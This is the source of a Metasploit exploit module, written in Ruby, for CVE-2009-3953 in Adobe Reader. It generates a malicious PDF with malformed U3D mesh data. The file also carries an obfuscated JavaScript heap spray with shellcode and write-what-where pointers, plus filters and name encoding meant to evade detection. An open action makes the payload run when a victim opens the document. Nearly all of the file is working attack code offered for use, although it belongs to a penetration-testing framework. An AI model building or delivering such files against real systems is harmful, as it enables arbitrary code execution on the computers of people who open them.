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1
##
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# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'zlib'
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8
class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
10

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  include Msf::Exploit::FILEFORMAT
12

13
  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
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      'Description'    => %q{
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          This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
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          Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
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          specially crafted pdf that a contains malformed U3D data, an attacker may
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          be able to execute arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
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          'jduck'
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-3953' ],
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          [ 'OSVDB', '61690' ],
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          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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      'Payload'        =>
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        {
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          'Space'         => 1024,
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          'BadChars'      => "\x00",
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          'DisableNops'	 => true
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # test results (on Windows XP SP3)
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          # reader 7.0.5 - untested
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          # reader 7.0.8 - untested
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          # reader 7.0.9 - untested
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          # reader 7.1.0 - untested
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          # reader 7.1.1 - untested
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          # reader 8.0.0 - untested
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          # reader 8.1.2 - works
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          # reader 8.1.3 - not working :-/
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          # reader 8.1.4 - untested
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          # reader 8.1.5 - untested
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          # reader 8.1.6 - untested
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          # reader 9.0.0 - untested
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          # reader 9.1.0 - works
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          [ 'Adobe Reader Windows Universal (JS Heap Spray)',
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            {
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              'Size'		=> (6500/20),
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              'DataAddr'	=> 0x09011020,
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              'WriteAddr'	=> 0x7c49fb34,
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            }
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          ],
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        ],
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      'DisclosureDate' => '2009-10-13',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
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      ])
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  end
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  def exploit
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    # Encode the shellcode.
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Make some nops
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    nops    = Rex::Text.to_unescape(make_nops(4))
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=begin
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Original notes on heap technique used in this exploit:
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## PREPAREHOLES:
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## We will construct 6500*20 bytes long chunks starting like this
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## |0         |6   |8       |C        |24                    |size
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## |00000...  |0100|20100190|0000...  |    ......pad......   |
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##                 \      \
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##                 \      \ -Pointer: to controlled data
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##                   \ -Flag: must be 1
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## -Adobe will handle this ragged structure if the Flag is on.
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## -Adobe will get 'what to write where' from the memory pointed
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##  by our supplied Pointer.
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##
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## then allocate a bunch of those ..
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## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
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##    |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
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##
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## and then free some of them...
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## .. | chunk | free  | chunk |  free  | chunk |  free  | chunck | ..
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##    |XXXXXXX|       |XXXXXXX|        |XXXXXXX|        |XXXXXXXX|
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##
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## This way controlling when the next 6500*20 malloc will be
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## followed with. We freed more than one hole so it became tolerant
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## to some degree of malloc/free trace noise.
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## Note the 6500 is arbitrary it should be a fairly unused chunk size
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## not big enough to cause a different type of allocation.
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## Also as we don't need to reference it from anywhere we don't care
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## where this hole layout is placed in memory.
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## PREPAREMEMORY:
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## In the next technique we make a big-chunk of 0x10000 bytes
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## repeating a 0x1000 bytes long mini-chunk of controled data.
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## Big-chunks are always allocated aligned to 0x1000. And if we
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## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
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## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
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## will have our mini chunk
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##
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## A mini-chunk will have this look
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##
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## |0         |10          |54         |?           |0xff0  |0x1000
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## |00000...  |  POINTERS  |    nops   | shellcode  |  pad  |
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##
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## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
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## But we use 0x09011064.
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## POINTERS looks like this:
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## ...
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=end
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    # prepare the hole
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    daddr = target['DataAddr']
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    hole_data = [0,0,1,daddr].pack('VvvV')
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    #padding
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    hole_data << "\x00" * 24
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    hole = Rex::Text.to_unescape(hole_data)
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    # prepare ptrs
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    ptrs_data = [0].pack('V')
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    #where to write
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    ptrs_data << [target['WriteAddr'] / 4].pack('V')
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    #must be greater tan 5 and less than x for getting us where we want
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    ptrs_data << [6].pack('V')
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    #what to write
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    ptrs_data << [(daddr+0x10)].pack('V')
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    #autopointer for print magic(tm)
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    ptrs_data << [(daddr+0x14)].pack('V')
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    #function pointers for print magic(tm)
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    #pointing to our shellcode
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    ptrs_data << [(daddr+0x44)].pack('V') * 12
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    ptrs = Rex::Text.to_unescape(ptrs_data)
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    js_doc = <<-EOF
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function prepareHoles(slide_size)
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{
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  var size = 1000;
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  var xarr = new Array(size);
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  var hole = unescape("#{hole}");
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  var pad = unescape("%u5858");
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  while (pad.length <= slide_size/2 - hole.length)
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    pad += pad;
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  for (loop1=0; loop1 < size; loop1+=1)
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  {
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    ident = ""+loop1;
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    xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
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  }
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  for (loop2=0;loop2<100;loop2++)
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  {
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    for (loop1=size/2; loop1 < size-2; loop1+=2)
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    {
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      xarr[loop1]=null;
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      xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
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      xarr[loop1]=null;
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    }
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  }
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  return xarr;
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}
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function prepareMemory(size)
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{
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  var mini_slide_size = 0x1000;
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  var slide_size = 0x100000;
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  var xarr = new Array(size);
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  var pad = unescape("%ucccc");
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  while (pad.length <= 32 )
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    pad += pad;
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  var nops = unescape("#{nops}");
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  while (nops.length <= mini_slide_size/2 - nops.length)
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    nops += nops;
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  var shellcode = unescape("#{shellcode}");
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  var pointers = unescape("#{ptrs}");
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  var chunk = nops.substring(0,32/2) + pointers +
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    nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
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    shellcode + pad.substring(0,32/2);
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  chunk=chunk.substring(0,mini_slide_size/2);
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  while (chunk.length <= slide_size/2)
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    chunk += chunk;
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  for (loop1=0; loop1 < size; loop1+=1)
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  {
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    ident = ""+loop1;
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    xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
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  }
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  return xarr;
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}
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  var mem = prepareMemory(200);
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  var holes = prepareHoles(6500);
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  this.pageNum = 1;
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EOF
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    js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
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    # Obfuscate it up a bit
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    js_doc = obfuscate_js(js_doc,
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      'Symbols' => {
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        'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
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        'Methods' => %W{ prepareMemory prepareHoles }
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      }).to_s
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    # create the u3d stuff
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    u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
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    # Create the pdf
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    pdf = make_pdf(u3d, js_doc, js_pg1)
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(pdf)
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  end
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  def obfuscate_js(javascript, opts)
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    js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
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    js.obfuscate
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    return js
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  end
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250

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  def random_non_ascii_string(count)
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    result = ""
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    count.times do
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      result << (rand(128) + 128).chr
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    end
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    result
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  end
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  def io_def(id)
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    "%d 0 obj\n" % id
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  end
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  def io_ref(id)
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    "%d 0 R" % id
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  end
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  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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  def n_obfu(str)
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    result = ""
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    str.scan(/./u) do |c|
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      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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        result << "#%x" % c.unpack("C*")[0]
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      else
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        result << c
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      end
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    end
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    result
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  end
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281
  def ascii_hex_whitespace_encode(str)
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    result = ""
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    whitespace = ""
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    str.each_byte do |b|
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      result << whitespace << "%02x" % b
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      whitespace = " " * (rand(3) + 1)
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    end
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    result << ">"
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  end
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  def u3d_pad(str, char="\x00")
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    ret = ""
293
    if (str.length % 4) > 0
294
      ret << char * (4 - (str.length % 4))
295
    end
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    return ret
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  end
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  def make_u3d_stream(size, meshname)
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    # build the U3D header
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    hdr_data = [1,0].pack('n*') # version info
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    hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
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    hdr = "U3D\x00"
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    hdr << [hdr_data.length,0].pack('VV')
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    hdr << hdr_data
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309
    # mesh declaration
310
    decl_data = [meshname.length].pack('v')
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    decl_data << meshname
312
    decl_data << [0].pack('V') # chain idx
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    # max mesh desc
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    decl_data << [0].pack('V') # mesh attrs
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    decl_data << [1].pack('V') # face count
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    decl_data << [size].pack('V') # position count
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    decl_data << [4].pack('V') # normal count
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    decl_data << [0].pack('V') # diffuse color count
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    decl_data << [0].pack('V') # specular color count
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    decl_data << [0].pack('V') # texture coord count
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    decl_data << [1].pack('V') # shading count
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    # shading desc
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    decl_data << [0].pack('V') # shading attr
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    decl_data << [0].pack('V') # texture layer count
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    decl_data << [0].pack('V') # texture coord dimensions
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    # no textore coords (original shading ids)
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    decl_data << [size+2].pack('V') # minimum resolution
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    decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
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    # quality factors
330
    decl_data << [0x12c].pack('V') # position quality factor
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    decl_data << [0x12c].pack('V') # normal quality factor
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    decl_data << [0x12c].pack('V') # texture coord quality factor
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    # inverse quantiziation
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    decl_data << [0].pack('V') # position inverse quant
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    decl_data << [0].pack('V') # normal inverse quant
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    decl_data << [0].pack('V') # texture coord inverse quant
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    decl_data << [0].pack('V') # diffuse color inverse quant
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    decl_data << [0].pack('V') # specular color inverse quant
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    # resource params
340
    decl_data << [0].pack('V') # normal crease param
341
    decl_data << [0].pack('V') # normal update param
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    decl_data << [0].pack('V') # normal tolerance param
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    # skeleton description
344
    decl_data << [0].pack('V') # bone count
345
    # padding
346
    decl_pad = u3d_pad(decl_data)
347
    mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
348
    mesh_decl << decl_data
349
    mesh_decl << decl_pad
350

351
    # build the modifier chain
352
    chain_data = [meshname.length].pack('v')
353
    chain_data << meshname
354
    chain_data << [1].pack('V') # type (model resource)
355
    chain_data << [0].pack('V') # attributes (no bounding info)
356
    chain_data << u3d_pad(chain_data)
357
    chain_data << [1].pack('V') # number of modifiers
358
    chain_data << mesh_decl
359
    modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
360
    modifier_chain << chain_data
361

362
    # mesh continuation
363
    cont_data = [meshname.length].pack('v')
364
    cont_data << meshname
365
    cont_data << [0].pack('V') # chain idx
366
    cont_data << [0].pack('V') # start resolution
367
    cont_data << [0].pack('V') # end resolution
368
    # no resolution update, unknown data follows
369
    cont_data << [0].pack('V')
370
    cont_data << [1].pack('V') * 10
371
    mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
372
    mesh_cont << cont_data
373
    mesh_cont << u3d_pad(cont_data)
374

375
    data = hdr
376
    data << modifier_chain
377
    data << mesh_cont
378

379
    # patch the length
380
    data[24,4] = [data.length].pack('V')
381

382
    return data
383

384
  end
385

386
  def make_pdf(u3d_stream, js_doc, js_pg1)
387

388
    xref = []
389
    eol = "\x0a"
390
    obj_end = "" << eol << "endobj" << eol
391

392
    # the header
393
    pdf = "%PDF-1.7" << eol
394

395
    # filename/comment
396
    pdf << "%" << random_non_ascii_string(4) << eol
397

398
    # js stream (doc open action js)
399
    xref << pdf.length
400
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
401
    pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
402
    pdf << "stream" << eol
403
    pdf << compressed << eol
404
    pdf << "endstream" << eol
405
    pdf << obj_end
406

407
    # js stream 2 (page 1 annot js)
408
    xref << pdf.length
409
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_pg1))
410
    pdf << io_def(2) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
411
    pdf << "stream" << eol
412
    pdf << compressed << eol
413
    pdf << "endstream" << eol
414
    pdf << obj_end
415

416
    # catalog
417
    xref << pdf.length
418
    pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
419
    pdf << n_obfu("/Pages ") << io_ref(5)
420
    pdf << n_obfu("/OpenAction ") << io_ref(8) << n_obfu(">>")
421
    pdf << obj_end
422

423
    # outline
424
    xref << pdf.length
425
    pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
426
    pdf << obj_end
427

428
    # pages/kids
429
    xref << pdf.length
430
    pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
431
    pdf << io_ref(10) << " " # empty page
432
    pdf << io_ref(11) # u3d page
433
    pdf << n_obfu("]>>")
434
    pdf << obj_end
435

436
    # u3d stream
437
    xref << pdf.length
438
    pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
439
    pdf << "stream" << eol
440
    pdf << u3d_stream << eol
441
    pdf << "endstream"
442
    pdf << obj_end
443

444
    # u3d annotation object
445
    xref << pdf.length
446
    pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
447
    pdf << "/3D/3DA <</A/PO/DIS/I>>"
448
    pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
449
    pdf << obj_end
450

451
    # js dict (open action js)
452
    xref << pdf.length
453
    pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end
454

455
    # js dict (page 1 annot js)
456
    xref << pdf.length
457
    pdf << io_def(9) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(2) + ">>" << obj_end
458

459
    # page 0 (empty)
460
    xref << pdf.length
461
    pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
462
    pdf << n_obfu(" >>")
463
    pdf << obj_end
464

465
    # page 1 (u3d/print)
466
    xref << pdf.length
467
    pdf << io_def(11) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
468
    pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
469
    pdf << n_obfu("/AA << /O ") << io_ref(9) << n_obfu(">>")
470
    pdf << n_obfu(">>")
471
    pdf << obj_end
472

473
    # xrefs
474
    xrefPosition = pdf.length
475
    pdf << "xref" << eol
476
    pdf << "0 %d" % (xref.length + 1) << eol
477
    pdf << "0000000000 65535 f" << eol
478
    xref.each do |index|
479
      pdf << "%010d 00000 n" % index << eol
480
    end
481

482
    # trailer
483
    pdf << "trailer" << eol
484
    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
485
    pdf << "startxref" << eol
486
    pdf << xrefPosition.to_s() << eol
487
    pdf << "%%EOF" << eol
488

489
  end
490
end
491

492